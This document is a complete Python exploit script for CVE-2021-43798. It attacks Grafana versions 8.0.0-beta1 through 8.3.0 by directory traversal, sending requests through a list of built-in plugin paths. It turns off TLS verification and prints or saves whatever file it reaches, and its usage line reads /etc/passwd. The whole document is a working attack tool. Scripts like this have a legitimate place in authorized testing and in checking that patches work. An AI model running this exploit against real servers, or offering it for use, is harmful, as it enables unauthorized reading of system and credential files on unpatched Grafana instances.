exploit.py

# Exploit Title: Grafana - Directory Traversal and Arbitrary File Read
# Date: October 08, 2022
# Exploit Author: hupe1980
# Version: Grafana 8.0.0-beta1 through 8.3.0
# Tested on: Linux
# CVE: CVE-2021-43798

#!/usr/bin/env python3

import argparse
import requests
import urllib3
import sys
from random import choice

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

plugin_list = [
    "alertlist",
    "annolist",
    "barchart",
    "bargauge",
    "candlestick",
    "cloudwatch",
    "dashlist",
    "elasticsearch",
    "gauge",
    "geomap",
    "gettingstarted",
    "grafana-azure-monitor-datasource",
    "graph",
    "heatmap",
    "histogram",
    "influxdb",
    "jaeger",
    "logs",
    "loki",
    "mssql",
    "mysql",
    "news",
    "nodeGraph",
    "opentsdb",
    "piechart",
    "pluginlist",
    "postgres",
    "prometheus",
    "stackdriver",
    "stat",
    "state-timeline",
    "status-histor",
    "table",
    "table-old",
    "tempo",
    "testdata",
    "text",
    "timeseries",
    "welcome",
    "zipkin"
]


def exploit(target, filename, plugin, output):
    s = requests.Session()
    
    target = target.rstrip("/")
    url = f"{target}/public/plugins/{plugin}/../../../../../../../../../../../../..{filename}"

    print(f"[+] Trying path {url}", file=sys.stderr)
    
    r = requests.Request(method="GET", url=url)
    
    prep = r.prepare()
    prep.url = url 
    
    r = s.send(prep, verify=False)
    
    if "Plugin file not found" in r.text:
        print("[-] File not found", file=sys.stderr)
        exit(1)
    else:
        if r.status_code == 200:
            if output:
                with open(output, "wb") as f:
                    f.write(r.content)
            else:
                print("[+] File content:", file=sys.stderr)
                print(r.text, file=sys.stdout)
        else:
            print("[-] Something went wrong.", file=sys.stderr)
            exit(1)
            
    print("[+] Done", file=sys.stderr)


def main():
    parser = argparse.ArgumentParser(description=f"example: {sys.argv[0]} http://127.0.0.1:3000 /etc/passwd")
    parser.add_argument("target")
    parser.add_argument("filename")
    parser.add_argument("--plugin", type=str, default=choice(plugin_list), help="name of grafana plugin to use (default: random from list)")
    parser.add_argument("--output", type=str, default="", help="write to file instead of stdout")

    args = parser.parse_args()

    exploit(args.target, args.filename, args.plugin, args.output)


if __name__ == "__main__":
    main()